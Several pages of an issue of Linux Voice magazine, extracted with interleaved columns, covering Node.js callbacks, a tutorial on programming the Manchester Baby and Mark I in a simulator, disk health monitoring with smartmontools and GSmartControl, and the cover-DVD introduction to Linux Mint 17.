  particularly well when acting as the glue that holds        Thanks to BoneScript (a Node.js library),
  a load of data sources together, and is used to          they can interact with the GPIOs on the
  power a lot of data-intensive web apps.                  BeagleBoard. You can then assign callbacks to
     This isn’t its only useful application though. It’s   things like button presses or getting data from           The BeagleBone’s HTML-based IDE makes it
  also used as the programming language of choice          an I2C connection.                                        easy to get started with GPIO programming.



allow the JavaScript program to remain responsive                        Our second example will be a really simple website
while waiting for events to happen. We’re going to use                 speed test. We’ll send requests to four popular
Node.js, which is a server-side JavaScript engine. This                websites, and see which ones respond the fastest.
means it’s used to run code on your server rather than                 var http = require(‘http’);
in a web browser.                                                      function wait_end(res, name) {
   It’s not usually installed by default, so you’ll need to              console.log(‘starting ‘ + name);
grab it from your package manager. On Debian-based                       res.setEncoding(‘utf8’);
systems, this is done with sudo apt-get install nodejs.                  res.on(‘data’, function (chunk) {});
   You can then run Node files with:                                     res.on(‘end’, function() {
nodejs <filename>                                                         console.log(name + ‘ finished’);
  We’re not going to dive too deep into how to use                      });
Node.js because that’s far beyond the scope of this                    }
article. We’ll have a look at a couple of examples that                http.get({host:’www.bbc.com’, path:’/’},
both use the http.get method from the http module.                       function(res) {wait_end(res, ‘bbc’)});
This takes two parameters. The first is a series of                    http.get({host:’stackoverflow.com’, path:’/’},
options enclosed between { and }. The second is a                        function(res) {wait_end(res, ‘stackoverflow’)});
callback function that is run once the request has                     http.get({host:’www.ubuntu.com’, path:’/’},
been processed. The first example will just dump the                     function(res) {wait_end(res, ‘ubuntu’)});
HTML content to the terminal:                                          http.get({host:’en.wikipedia.org’, path:’/wiki/Main_Page’},
var http = require(‘http’);                                              function(res) {wait_end(res, ‘wikipedia’)});
var print_html = function(res) {                                          Since http.get is non-blocking, the computer will
  res.setEncoding(‘utf8’);                                             execute the four http.get calls one after the other
  res.on(‘data’, function (chunk) {                                    without waiting for the servers to respond. When the
 console.log(chunk);                                                   severs do respond, Node.js will run the callback, which
});                                                                    is a function that runs wait_end. This time wait_end is
}                                                                      the name of the function, not a variable, and it’s called
http.get({host:’www.bbc.com’, path:’/’}, print_html);                  by an anonymous function (the callback). This is
Notice that print_html isn’t a function; it’s a variable               because of the extra parameter.
that holds a function. The fact that it’s a variable allows               When the server first responds, it prints out a
it to be passed to http.get, and called from there.                    message saying that it’s starting. Once all the data is
    The function in print_html is called from http.get                 received (and the end event on the response object
once data starts coming from the server. The single                    happens), it prints out it’s finished. Running this, you
parameter is a HTTP response object, and this has                      can see how the callbacks allow the computer to
various events on which you can set callbacks. In this                 process multiple requests at the same time, because
case, we set a callback on the data event that is called               the start and end messages are interlinked.
each time a chunk of data is available. This time, we                     This isn’t a perfect speed test, as the initial HTTP
haven’t stored the function in a variable, but declared it             requests won’t be sent at the same time, but it should
in the parameters to the method res.on.                                give you an idea of how the different servers perform
    This example shows how callbacks work, but it                      (especially when there are only a few of them).
hasn’t really shown the advantages of them. After all,                    There is a real danger that using callbacks can leave
you could quite easily program the above as a series                   your code hard to read and difficult to maintain, so
of steps that happen one after the other. In fact, the                 they should be used with caution. However, when
code would probably be a little clearer if written in the              used well, they are a powerful tool to make your
order it executes.                                                     programs faster and more flexible.



                                                                         www.linuxvoice.com                                                                       103
      CODING MANCHESTER MARK I



                              ALAN TURING: AND THE
           TUTORIAL
                              MANCHESTER MARK I
                              Program the post-war machine used for early computer music,
    JULIET KEMP
                              chess and proto-artificial intelligence.


                              A
                                        lan Turing’s work at GCHQ with Colossus
 WHY DO THIS?                           during WWII is well-known, as of course is the
 • Take a trip back to the              Turing Test, but those were far from his only
   1940s
                              involvements with early computing developments. In
 • Search for large prime
   numbers (very slowly)      the late 1940s he was working on designing a
 • Use the logic that first   stored-program computer (Colossus couldn’t store
   inspired the Turing Test   programs, and in any case was still very secret), and in
                              1948 moved to Manchester where the Manchester
                              Baby and Manchester Mark I were being developed.
                                The Manchester Baby (aka the Manchester Small
                              Scale Experimental Machine) wasn’t a full general-
                              purpose computer, but a small-scale test of Williams
                              tube memory (cathode ray memory, using the charge
                              well created by drawing a dot or dash on the tube).
                              However, it is considered to be the world’s first
                              stored-program computer, running its first program on
                              21 June 1948, when it found the highest proper divisor
                              of 2^18 (262,144), and took 52 minutes to run. Only
                              two more programs were written for it: an amended          One of Turing’s projects while working on the Mark I was
                              version of this, and a program written by Turing to        to write code to investigate the Riemann hypothesis,
                              carry out long division.                                   which has to do with the distribution of prime numbers.
                                The Baby was condensed, even primitive: only 32
                              words of memory and 8 hardware instructions,               version, but Turing later wrote an improved version
                              covering only subtraction and negation (using these,       known as the Mersenne Express.
                              addition can be implemented in software, as -(-x-y) =         The Mark I had 40-bit words (longer than the Baby’s
                              x+y). It had no paper-tape reader, so programs had to      32 bits), and inspired by the success of the Baby, its
                              be entered painstakingly, a bit at a time, with a          main storage was Williams tubes. Initially, it had two
                              32-switch input device.                                    Williams tubes each capable of holding two ‘pages’ of
                                                                                         32 words (so four ‘pages’, or 128 words, in total),
                              The Manchester Mark I                                      which was later increased to eight pages. It also had a
                              Once the Baby was successful, the team (Frederic C         magnetic drum as backup storage, which contained
                              Williams, Tom Kilburn and Geoff Tootill, who had           an extra 32 pages (later, 128 pages). Initially, to
                              designed the Baby, together with research students         transfer data from the drum to the Williams tubes, the
                              DBG Edwards and GE Thomas) started work on the             machine had to be stopped and the transfer initiated
                              Manchester Mark I (also known as the Manchester            manually, but in the final version, this could be done as
                              Automatic Digital Machine, or MADM). The Mark I            part of a program.
Panoramic shot of the         first ran in April 1949, with a program written to look       The drum itself consisted of a series of parallel
Original Baby (copyright      for Mersenne primes. Max Newman wrote this                 magnetic tracks, which each held two pages and had
University of Manchester).                                                               its own read/write head, which read and wrote as the
                                                                                         drum revolved. (A little reminiscent of a modern
                                                                                         magnetic hard disk.) Latency depended on the drum
                                                                                         speed, which was synchronised with the main
                                                                                         processor clock.
                                                                                            The most significant aspect of the Mark I, though,
                                                                                         was that it introduced index registers. An index
                                                                                         register holds a memory offset, which is added to an
                                                                                         instruction to create a full memory address.
                                                                                         Effectively, it alters the instruction as the program
                                                                                         goes along. It is useful for very rapidly stepping



104                                                           www.linuxvoice.com
                                                                                                              MANCHESTER MARK I CODING

through memory addresses, such as to access an
array sequentially, or to handle looping – the index
register allows you to add one (or two or…) to the
memory location to access a new location each time.
Index registers are very commonly used on modern
computers.

Turing and code
The Mark I had no assembly language; programmers
had to write their programs in binary form, encoded as
a series of five-bit characters. The programmers’
handbook for the Mark II is available online at the
Turing Archive, which illustrates the instruction
conventions.
   Each program instruction had 20 bits, of which 10
bits held the instruction code and 10 bits the address.
The initial instruction set had 26 instructions (later 30,
when the magnetic drum transfer instructions were
added). Initially, just as with the Baby, instructions had
                                                                                                                            Williams and Kilburn with
to be keyed in, but the Final version had a teleprinter          The switches (labelled 1, 2, 4…) underneath the
                                                                                                                            the original machine.
with five-hole paper tape reader and punch. Turing            typewriter choose the line to be edited, via binary           (Copyright University of
created a base-32 encoding scheme, which meant                coding. Line 0 is at the top of the screen; set all the       Manchester)
that programs and data could be written to and read           switches up to access it, then flick switch 1 down for
from the paper tape. This was largely based on the            the next line down, switch 1 up and switch 2 down for
existing ITA2 five-bit teleprinter code, which maps           the next after that, and so on. This is how you enter a
each of the 32 binary values in a five-bit system to a        program, a line at a time, into the store: pick the line
character. One of the characters Turing changed was           and set each bit with the typewriter keys.
binary zero (00000), which he wrote as / and which               The KLC / KSC / KAC buttons at the bottom clear
was very common in programs, and 01000, which he              the current action line, the store, and the accumulator,
wrote as @. Each 40-bit word was therefore                    respectively. The C, A,
represented as eight five-bit characters, so could be         Sc red buttons at the
written (eg) ABC//F@G. Without an assembly                    bottom let allow you to            “The most significant aspect
language, programmers had to produce their
programs in this format, translating binary
                                                              look at the control, the
                                                              accumulator, or the
                                                                                                 of the Mark I was that it
instructions to ITA2, and were encouraged to                  store, respectively.               introduced index registers.”
memorise the ITA2 table. The Mark I, like the Baby,           Flicking the CS switch
also wrote its storage right-to-left, rather than             to Run will run through all the stored program lines,
left-to-right, so decimal one was 10000 rather than           until a Stop instruction is reached. To clear the Stop
00001 as would be expected today. Negative                    light, hit the KC button. This will also execute a single
numbers were represented with two’s complement                line at a time.
(so the value of the most significant bit indicates sign:        To get started, try out one of the sample programs
0 for positive and 1 for negative).                           from the menu. primegen.asc generates primes, and
   An early user suggested that the frequently seen           stores them in lines 21 and 22. Check out the View >
////// in early programs was an unconscious                   Disassembler menu to see a translation of the dots on
reflection of Manchester’s wet weather – reminiscent          the screen. Note that line 0 is at the top of the screen,
of rain seen through a dirty window.                          and that numbers are stored least-significant-digit-to-
                                                              right, so -.-... on the screen is 5 in decimal. To run the
Simulating the Manchester Baby                                program, clear everything first, load it into the store
There’s a great Java simulator of the Manchester              from the menu, then flick the CS switch to run. Once
Baby available online at www.davidsharp.com/baby.             the red stop light goes on, you have a prime stored in
It has a photo-realistic GUI so you can press the             lines 21 and 22. Hit KC to clear the stop light, then flick
typewriter keys and flick various switches to set             CS up and down again to run again until the next stop
Williams tube bits just like the original team.               and the next prime.
   The red round typewriter keys each set a single bit           Next, we’re going to transcribe the first ever
of a particular line. They run top–bottom and left–           program into the simulator, and run that. There’s a
right; so the top-left key sets bit 0, and the bottom-right   useful online guide to the Baby from the Computer
would adjust bit 39, but only 0–31 are connected.             Conservation Society. This includes the structure of
   The write/erase switch at bottom-right sets                an instruction:
whether the typewriter sets the bit as 1 or 0. (The KSC       | Line # |         | Function |     |
switch at the bottom clears the store.)                       | 0 1 2 3 4 | 5 .. 12 | 13 14 15 | 16 .. 31 |



                                                                www.linuxvoice.com                                                                 105
      CODING MANCHESTER MARK I

                                                                                                line with 0s or 1s). Finally there’s a description of what
                                                                                                each instruction does.
                                                                                                   An overview of the program stages is below. The
                                                                                                lines in italics are lines from the lab book notes, which
                                                                                                I altered to get the program to run, so leave them out
                                                                                                when typing it in.
                                                                                                Line         Instruction Assembly encoding Binary encoding
                                                                                                Description
                                                                                                0            -            JMP 0       0..0       Empty line
                                                                                                apparently needed by simulator, not present in notebook
                                                                                                1            -18, C (-18, A)          LDN 18     01001 0000 0000
                                                                                                010 0..0 Copy empty line to accumulator to clear it
                                                                                                2            -19, C (-19, A)          LDN 19     11001 0000 0000
                                                                                                010 0..0 Load +a into accumulator
                                                                                                3            Sub 20 (a-20, A)         SUB 20     00101 0000 0000
                                                                                                001 0..0 Trial subtraction: a - current b
                                                                                                4            Test         CMP         00000 0000 0000 011 0..0
                                                                                                is difference negative?
                                                                                                5            Add 21, Cl (c+21, CI) JRP 21        10101 0000 0000
                                                                                                100 0..0 Still positive. Jump back two lines (by adding -3 to
Here’s the Baby simulator
                                 Only the first five bits and bits 13–15 are used at all.       the current instruction line)
with first (buggy!) version
of our program loaded up.     The line number is the line of the store to which the             6            Sub 22 (a-22, A)         SUB 22     01101 0000 0000
                              function is to be applied. The instruction set looks like         001 0..0 Difference is negative, so we subtracted too many.
                              this (CI is the Control Instruction, and A is the                 Add back current b.
                              accumulator):                                                     7            c, 24 (a,24) STO 24      00011 0000 0000 110 0..0
                              Function Binary (LSD right)          1948 mnemonic                Store remainder
                              Modern mnemonic          Description                              8            -            LDN 18      01001 0000 0000 010 0..0
                              0            000         s,C         JMP      Copy content of     Clear accumulator again using empty line. This wasn’t in the
                              store line s to CI                                                original notes but seems to be needed. (Note: line numbers from
                              1            100         c+s,C       JRP      Add content of      here do not match notebook.)
                              store line s to CI                                                9            -22, C (-22, A)          LDN 22     01101 0000 0000
                              2            010         -s,A        LDN      Copy content of     010 0..0 Load current b.
                              store line s, negated, to A                                       10           Sub 23 (a-23, A)         SUB 23     11101 0000 0000
                              3            110         a,s         STO      Copy content of A   001 0..0 Create next b = current b - 1.
                              to store line s                                                   11           c, 20 (a, 20)            STO 20     00101 0000 0000
                              4            001         a-s,A       SUB      Subtract content    110 0..0 Store next b.
                              of store line s from A                                            12           -20, C (-20, A)          LDN 20     00101 0000 0000
                              5            101                              As 4.               010 0..0 Load negative next b.
                              6            011         Test        CMP      Skip next           13           c, 22 (a-22, A)          STO 22     01101 0000 0000
                              instruction if content of A is negative.                          110 0..0 Store negative next b.
                              7            111         Stop        STOP     Stop machine and    14           -24, C (-24, A)          LDN 24     00011 0000 0000
                              light Stop bulb.                                                  010 0..0 Load negative of remainder (see line 7).
                                 So, here’s that first program, based on the                    15           Test         CMP         00000 0000 0000 011 0..0
                              reconstruction by Geoff Toothill and Tom Kilburn from             Is remainder negative? If not, it must be zero.
                              Toothill’s lab book notes (www.cs.man.ac.uk/CCS/                  16           -            STP         00000 0000 0000 111 0..0
                              res/res20.htm#e). It finds the highest factor of a given          Remainder is zero, so stop. I found this line 16 worked where the
                              number (a), by starting with b = a - 1, and testing that          one below didn’t.
                              and every smaller number until it succeeds. Early test            16.5         25, Cl (25, C)           JMP 25     10011 0000 0000
                              cases included a = 19, a = 31 (both primes), a = 3141             000 0..0 Original line in notebook which I couldn’t make work;
                              (final b = 1047), a = 4537 (final b = 349), and the full          remainder is zero, so jump to line [16]
                              trial case of 218. The final b value for that was 2 17, and       17           23, Cl       JMP 23      11101 0000 0000 000 0..0
                              finding it took 52 minutes.                                       Remainder is negative, so jump back to line 1 (number in
                                 In the Instruction column, I’ve shown the notebook             location 23). In notebook this was line 2, but that left the
                              transcription with the 1948 handbook mnemonic in                  accumulator un-zeroed and caused errors.
                              brackets. The Assembly encoding is a ‘fake’, in the               17.5         Stop         STP         00000 0000 0000 111 0..0
                              sense that it will work with the simulator but no such            Original line 17. This would be line 18 given the line number
                              thing existed for the original programmers. They had              errors, but with the replacement line 16, it’s not needed.
                              to work with binary, and I’ve given that in the binary            18           init         leave blank 0..0       0 (blank)
                              column (least significant digit to right, as already              19           init         NUM -314111011 1011 1001 1..1 -a
                              mentioned, and 0..0 or 1..1 means fill in the rest of the         (value to be tested); here -3141



106                                                               www.linuxvoice.com
                                                                                                        MANCHESTER MARK I CODING

20            init         NUM 3140 00100 0100 0110 0..0 initial
b (a-1); here 3140
21            init         NUM -3   10111 1..1 -3
22            init         NUM -314000111 1011 1001 1..1
-(initial b); here -3140
23            init         NUM 1       10000 0..0 1
24            init         leave blank 0..0       0 (blank)
25            init         NUM 16 00001 0..0 16 -- in notebook
for use in line 16.5
    Negative numbers are stored as two’s complement
(to produce this yourself, write the number out in
binary, swap all the 1s for 0s and 0s for 1s, and add 1).
I’ve added lines 0 and 8, affecting line numbering for
lines 8–17, and have altered lines 16–17.
    The program works like so:
Lines 0–2: Clear the accumulator, and load a (the
value whose highest divisor we are trying to find).
Lines 3–5: Subtract b repeatedly until you reach a
negative number.
                                                                   Close-up of the working replica at the Manchester Museum of Science and Industry.
Lines 6–7: The negative number means we’ve gone
                                                                   Image CC-BY-SA ,Parrot of Doom.
too far, so add b back again once. This means that the
accumulator now contains whatever is left over (the
remainder) when you divide a by b. Store that                      button. (In which case I recommend using smaller a
remainder.                                                         and b values.) You could also check out Toothill’s
Lines 8–13: Clear the accumulator again and get the                article to see how they improved the program over
next b value, by subtracting one from the current b.               time and make your own edits.
Store that as both positive and negative values for use
in the next loop.                                                  Further developments
Lines 14–17: Load the remainder back again, and test               The Manchester Mark I was the basis for the Ferranti
it. If it’s zero, then we’ve found a divisor, and the              Mark I, the first commercially available general-
program stops. If not, we loop back to the beginning.              purpose electric computer. It just beat out UNIVAC,
Lines 18–25: Data values, both fixed and altered as                which was handed to the US Census Bureau on 31
the program runs.                                                  March 1951; the first Ferranti Mark I was delivered to
    To input this, you can input the binary directly with          the University of Manchester in February 1951. The
the switches, to really get a feel for how it was in 1948!         oldest recorded computer music was played on a
Alternatively, you can use the Assembly encoding, by               Ferranti, using its hoot command, and is available
saving it in a file called babyfactor.asm with line                from www.digital60.org/media/mark_one_digital_
numbers, as shown:                                                 music.
25                                                                    One of the oldest computer games, a chess-playing
0 JMP 0                                                            program, was also written for the Ferranti by Dr Prinz
1 LDN 18                                                           in 1951, although it could handle only mate-in-two
...                                                                chess problems, not whole games. Turing had also
   Load this from the file menu. The number at the top             been experimenting with chess computer programs,
is the number of lines of code in the file and is                  and wrote a program for a non-existent computer
necessary. Arguably it’s cheating a bit, but bugfixing is          between 1948 and 1950. In 1952 he tried to
much easier using assembly!                                        implement it on the Ferranti, but the computer wasn’t
   To run it, flick the ‘Run’ switch at the bottom to run          sufficiently powerful. Instead, Turing simulated it by
the whole thing until the lightbulb lights (this may take          hand, taking around 30 minutes per move. The game
a while for the given value of a). Once the lightbulb              was recorded, but the computer lost.
lights, read the b value from line 21 (use the                        After the Manchester Mark I first ran, neurosurgeon
Disassembler for ease!). The highest divisor is b+1                Sir Geoffrey Jefferson argued in 1949 that no machine
(because b is decremented ready for the next time                  could ever feel emotion or truly ‘think’. This
before the STOP line is reached). For the value of a               undoubtedly had an effect on Turing’s thinking about
given here (3141) this should be 1047.                             machine intelligence. Turing explicitly disagreed with
   Sometimes I found I had to hit the KC switch once               Jefferson, arguing that while this might be true now, it
before the Run switch. The simulator is a little                   was not necessarily true for ever. The debate is, of
temperamental; if you have problems, reload the                    course, still live today.
simulator and start over.
   For debugging or to watch the program working,                   Juliet Kemp is a programming polyglot, and the author of
                                                                    O’Reilly’s Linux System Administration Recipes.
you can step through it one line at a time with the KC



                                                                     www.linuxvoice.com                                                                107
      MASTERCLASS SMARTMONTOOLS




                             MASTERCLASS
                             How to keep on top of your hard drives, so you won’t be in
  BEN EVERARD                for a nasty surprise when one of them fails.


THE SMART WAY TO MONITOR
YOUR HARD DRIVE
Don’t get caught out by a failing hard drive.


                             T
                                      he most valuable part of your computer is the     sudo smartctl --scan
       JOHN LANE                      data stored within. That’s why you take regular   sudo smartctl --info /dev/sda
                                      backups and hedge against failures by running       If Smart isn’t enabled, the command to enable it is
                             RAID arrays. Or perhaps you don’t think about the          sudo smartctl -s on /dev/sda
                             worst until after it has happened? Perhaps it would          To view a drive’s health self-assessment test result:
                             help if you could predict when that might be – that        sudo smartctl --health /dev/sda
                             would be smart. It would also be Smart.                    which will tell you briefly if the drive is about to fail. If
                                Smart stands for Self-monitoring, Analysis and          your drive reports that it is failing then it would be a
                             Reporting Technology, and is a monitoring system for       good idea to think about backing up and replacing it
                             hard and solid-state drives that detects and reports on    as soon as possible.
                             various indicators of reliability with the aim of            You can delve further into the Smart data:
                             anticipating failures. Smart is built into the drive’s     --capabilities shows the Smart features that the drive
                             firmware, and maintains various attributes that            has, and --attributes lists the Smart attributes that the
                             measure its performance and reliability.                   drive monitors (this is probably the useful information
                                The tools that you use to interact with Smart are       that you would like to see).
                             collectively known as Smartmontools, and should be
                             accessible in your distribution’s package manager; for     What’s going on with your drive?
                             example, in Debian-based systems you’d install it with:    The attributes display shows a raw value that’s
                             apt-get install smartmontools                              vendor-specific but usually sensible – a temperature’s
                               It provides two things: a tool called smartctl, which    raw value is usually represented by a Celsius value, for
                             enables you to interact with your Smart drives, and        example – but, to remove vendor-specifics, the
Use smartctl --info to       smartd, which is a daemon that can be used to              firmware normalises them as a value between 1 and
see details of your drive,   perform monitoring in the background.                      254. The report displays the normalised value in a
including whether Smart        To begin, you can scan for Smart drives and              column called VALUE and the raw value in one called
 is enabled.                 establish whether they have Smart enabled:                 RAW VALUE. The third important value is in the
                                                                                        THRESH column, which is a threshold that indicates
                                                                                        failure when the normalised value is less than this
                                                                                        value. The thresholds are chosen so they indicate
                                                                                        imminent failure within 24 hours.
                                                                                           Other columns include WORST, which shows the
                                                                                        closest to failure value that the attribute’s normalised
                                                                                        value has held since Smart was enabled, and TYPE,
                                                                                        which shows a value of either Pre-failure or Old age
                                                                                        and describes whether an attribute indicates
                                                                                        imminent failure or end-of-life due to expected wear
                                                                                        and aging. Don’t be alarmed when you see many
                                                                                        attributes with Pre-fail against them – that alone does
                                                                                        not mean your drive is about to die!
                                                                                           The WHEN_FAILED column is the one that warns
                                                                                        you when things are not good. It will show “failing



108                                                          www.linuxvoice.com
                                                                                                  SMARTMONTOOLS MASTERCLASS


now” when the normalised value is less then its
threshold. If it isn’t failing now but has in the past it’ll      Smart logs
show “in the past” and the WORST value will be less               Smart maintains various logs – here are the one’s you’re
then the threshold.                                               most likely to find useful. Refer to the smartctl man page
                                                                  for a full list of logs and their uses.
Beware of vendors                                                    error          Summary SMART error log
                                                                     xerror         Extended Comprehensive SMART error log
Something to be aware of is that none of the
                                                                     selftest SMART self-test log
attribute’s names and meanings are defined by the                    xselftest Extended SMART self-test log
standard and, while they are generally used sensibly,             To view a log, use the command
vendors can, and sometimes do, use them for                       sudo smartctl --log=TYPE /dev/sda
differing purposes. If you have a drive that does this            where TYPE is one of those listed above.
then you can give the --vendorattribute argument to
to alter how smartctl displays such attributes.
   Smart attributes are updated by tests run within the          Tests are only useful if they are run and if their
drive’s firmware. The tests don’t affect a disk’s data         output is monitored. To help with this, the other part of
and can operate when it is mounted and in use. There           smartmontools is the smartd daemon. It monitors
are three kinds of tests.                                      Smart attributes for signs of problems, runs self-tests
   Online testing happens transparently when Smart             and reports to the system log. It can also use email to
   is enabled and it doesn’t impede the drive’s                alert administrators of potential problems.
   performance.
   Offline testing can impede performance. It can              smartd
   either be performed on-demand or automatically at           To use smartd, first check its config file, /etc/smartd.
   regular intervals. They are suspended during disk           conf and then enable it in the appropriate manner for
   access and, therefore, have little real impact.             your system. For example, if you’re using systemd:
   Self-testing only happens on demand. These are              sudo systemctl enable smartd
   more resource intensive and can impede drive                sudo systemctl start smartd
   performance while running.                                    The default configuration contains a single entry,
   The online and offline tests update the Smart               DEVICESCAN, which instructs the daemon to scan for
attributes (the UPDATED column in the attributes               Smart devices to monitor. You can perform this scan
listing shows whether they are updated by online or            yourself to see what would be monitored in this
offline testing).                                              default scenario
   Most drives perform offline testing automatically           sudo smartctl --scan
every four hours but you can enable or disable this               Should you wish to effect more control, you can
with smartctl --offlineauto. If they are disabled, they        replace this default configuration with explicit entries
can still be run on demand:                                    for each device. Any entry can be supplemented with
sudo smartctl --test=offline /dev/sda                          directives that enable you to control which tests are
  Self-tests are different. These are only run on              performed and where issues get emailed to. For an
demand and, although they don’t affect the disk’s              explanation of these directives, see the man page for
operation, they can be resource intensive. There are           smartd.conf or do:
short tests that take a few minutes to complete and            smartd -D
longer ones that can take several hours. A third kind of         The directive that launches self-tests is one that you
test is the conveyance test that’s designed to detect          will probably want to use but it is a little complex. It’s
problems caused when the drive is in transit. The              specified as a regular expression of the form T/MM/
results of these tests can be viewed in the Smart logs         DD/d/HH to represent a test and the date and time
(see the boxout above).                                        when it should be run. The T character defines the
                                                               test type – either S for a short test or L for a long one.
                                                               Coding regular expressions is beyond what we can
                                                               cover here but, as an example, running a daily short
                                                               test at 2AM and a weekly long test on Saturdays at
                                                               2AM could be achieved with an expression like this
                                                               (S/../.././02|L/../../6/02)
                                                                  Here’s an example smartd.conf configuration:
                                                               DEVICESCAN -a -s (S/../.././02|L/../../6/02) -m me@example.
                                                               com
                                                                 Hopefully you’ll never experience a disk failure but,
                                                               by spending some time getting to know
                                                               smartmontools and configuring a smartd daemon to
                                                               monitor your drives, at least you can be forewarned if
The Smart attributes are a measure of the drive’s health.      the worst is about to happen.



                                                                 www.linuxvoice.com                                            109
      MASTERCLASS GSMARTCONTROL



A SMART GUI SOLUTION
GSmartControl makes checking your hard drives easy…


                                  S
                                          ometimes a GUI application comes along that
      JOHN LANE                           nicely supplements a command line tool.
                                          GSmartControl is a GUI wrapper around the
                                   command-line smartctl tool that we covered in the
                                   previous pages. It presents its output in a more
                                   accessible form and makes it even easier to interact
                                   with your Smart devices.
                                     Because Smart is part of the drive’s firmware, tests
                                   are run inside the drive – you need to issue one
                                   command to start a test and another to check its
                                   progress or end result. GSmartControl wraps this
                                   process up in a graphical shell around smartctl and
                                   makes it much easier to use Smart interactively. You
                                   can use GSmartControl without knowing how to use
                                   smartctl, but a little knowledge will help you           Click on a device to see a health summary or double-click
                                   understand some of the features and options.             for detailed device information and to run tests.
                                     Your distro’s repository should contain the
                                   GSmartControl package, so installing should be
                                   straightforward:                                         and serial number to this view. Click on an icon to
                                   apt-get install gsmartcontrol                            select it and a summary is displayed at the top of the
                                     It’s a GTK application so its dependencies are         window. Expanding the More option shows the drive’s
                                   minimal. Launching it can be as simple as typing         model family and offers options that enable/disable
                                   gsmartcontrol but you will need root privileges to       Smart and, if the drive supports them, its automatic
                                   access some of the Smart functionality. As a             offline tests.
                                   convenience, you can launch it like this instead
                                   gsmartcontrol-root                                       Health check for drives
                                   which will automatically perform su to gain root         You work in GSmartControl one drive at a time.
                                   privileges (this requires that your environment has a    Double-click on a drive to open its device information
                                   graphical su interface, such as gksu). Enter the root    window. This displays Smart data in tabs for identity,
                                   password if prompted.                                    attributes, capabilities and logs. Each tab displays
                                     Once it’s been appropriately launched, a scan is       output from smartctl that you could get like this:
                                   performed and the available drives are displayed as      sudo smartctl --health --info --capabilities --attributes /dev/sda
                                   icons. You may see icons for non-Smart devices such        The tabbed display makes the information more
                                   as floppy and optical drives, but you can choose to      readable and provides plentiful help text that goes a
                                   hide such devices by setting an option in Options >      long way to explain what the information means.
                                   Preferences. If the scan misses a device that you        Hover your mouse pointer over most things and a
                                   want, use Device > Add Device to add it manually.        pop-up will explain what it is. This is especially useful
                                     The icon’s title shows the drive’s make and model;     when viewing attributes and capabilities whose
                                   you can, in Options > Preferences, add its device name   meanings may be less-than obvious. This online


 Preferences
 You can customise the behaviour of
 GSmartControl through Options >
 Preferences on the main window’s menu.
    It has two tabs; the first allows
 application-wide general preferences. The
 second tab (shown right) enables you to
 configure how specific drives are handled.
 Some drives with firmware bugs need
 additional options passed to smartctl and
 this is where you can specify them. You can
 also blacklist irrelevant devices, like floppy
 disk drives, from the device scan so they
 aren’t displayed.                                                                          You can see the progress of a running test and when it
                                                                                            should finish.



110                                                                www.linuxvoice.com
                                                                                                 GSMARTCONTROL MASTERCLASS


                                                                                                                                The tabbed device
                                                                                                                                information presents the
                                                                                                                                Smart data clearly and
                                                                                                                                with additional helpful
                                                                                                                                information. You can View
                                                                                                                                Output to see the raw
                                                                                                                                smartctl output if you
                                                                                                                                really want to, or you can
                                                                                                                                save it to a file.




documentation is value added by GSmartControl that                you can go straight there. It also augments the pop-up
is not present in smartctl.                                       help with further information specific to the problem.
   Another tab enables you to perform the self-tests                 There are three levels: notices are displayed in a
that the drive supports: the short, long and conveyance           light pink colour; warnings in a darker pink; and alerts
tests. It gives an estimate for how long the test will            in red. Notices convey information that you should be
take. Press the Execute button to start the test. A               aware of – they are not Smart errors reported by
progress bar reassures you that the test is running and           smartctl, but GSmartControl interprets the Smart data
estimates the remaining time, which is a nice feature             to provide another level of reporting. Warnings are
that the command line smartctl lacks. Behind the                  raised by old-age attributes and alerts by pre-fail               PRO TIP
scenes, GSmartControl is launching the test                       attributes.                                                    Launch gsmartcontrol
smartctl -t short /dev/sda                                                                                                       --verbose to see the
                                                                                                                                 underlying smartctl
and then polling for status until the it completes                A pinch of salt                                                commands.
smartctl -c /dev/sda                                              Having Smart is better than not having it, but you
  Once the test completes, the result is displayed.               shouldn’t become complacent. It is prudent to have a
“Completed without error” is what you want to see!                backup (and recovery) strategy for your data. Smart
                                                                  does have its issues – it
Oh no, I have an error!                                           can’t possibly detect
To help draw your attention to problems, the device               every kind of failure, and   “Having Smart is better than
information screen highlights potential problems. It
highlights both the error and the tab containing it, so
                                                                  may show errors that
                                                                  don’t necessarily impact
                                                                                               not having it, but you shouldn’t
                                                                  a drive’s stability.         become complacent.”
  Virtual devices                                                   Smart is implemented
                                                                  by the drive
  You can load smartctl data from a file as a virtual device.     manufacturers, and they don’t always adhere to the
  You could, for example, extract data on a remote server         correct standard. Some drives use Smart data fields
  using the command line with something like this:
  ssh root@remoteserver smartctl -a /dev/sda >                    for different values, and other firmware idiosyncrasies
  remoteserver_sda                                                may introduce bugs or other undesirable features.
     You can then use Device > Load SmartCtl Output As            They sometimes provide proprietary utilities and
  Virtual Device to load that data into GSmartControl. It’s
                                                                  promote these instead of Smart. However, Smart is a
  presented as another device on the main screen, and you
  can interact with it in exactly the same way as real devices.   useful addition to your toolbox and may provide timely
  The only exception is that you can’t run tests.                 warnings of potential data loss, giving you time to act
     There is also a Save As function to save a device’s          before it happens.
  smartctl data. This may be useful to keep historic records
  so that you can compare how a device changes over time.
                                                                   John Lane is a technology consultant with a penchant for
  You would have to do such comparisons yourself, however,
                                                                   Linux. He helps new businesses and start-ups make the most
  because GSmartControl doesn’t offer that feature.
                                                                   of open source software.




                                                                    www.linuxvoice.com                                                                  111
      DVDPAGES




Distros, videos, podcasts – get the latest Linux goodness today!
                                                                                   DVD 006
                                   SHOWCASING THE BEST OF FOSS
                                   Welcome to the DVD! It’s been a        successful, and for good reason:        share his efforts with the world.
                                   few issues since we had a disc on      it’s attractive, it includes up-to-     What a nice chap he is! Plus, we
                                   the cover, but a few things have       date software, it has an excellent      have some newbie-friendly videos
                                   happened and we absolutely had         supporting community and it’s           explaining Linux, along with the
                                   to bring you the latest software for   built upon robust Ubuntu and            most recent episodes of our
                                   your exploring pleasure.               Debian foundations.                     podcast. Enjoy, and if you have any
                                      First, a shiny new release of           Meanwhile, our very own Ben         suggestions for future discs, just
                                   Linux Mint, the world’s most           Everard has been working on a           drop me a line!
                                   popular desktop distribution           souped-up version of Raspbian,
                                   (according to DistroWatch)             the main Raspberry Pi Linux             Mike Saunders, Disc Editor
                                   arrived. Mint has been incredibly      distribution, and has decided to        mike@linuxvoice.com



Desktop distribution



Linux Mint 17 “Qiana”
32- and 64-bit versions included, so take your pick!


W
             e reviewed Mint 17 last month,         you can of course install it yourself – that’s
             giving it 5/5 stars and                the beauty of using Linux.
             summarising it as follows:               Linux Mint 17 boots in live mode, which
“Mature, reliable and with five years of            means it runs directly from the DVD, so you
support ahead. It’s boring, but for a Long          can explore it and se what you think while
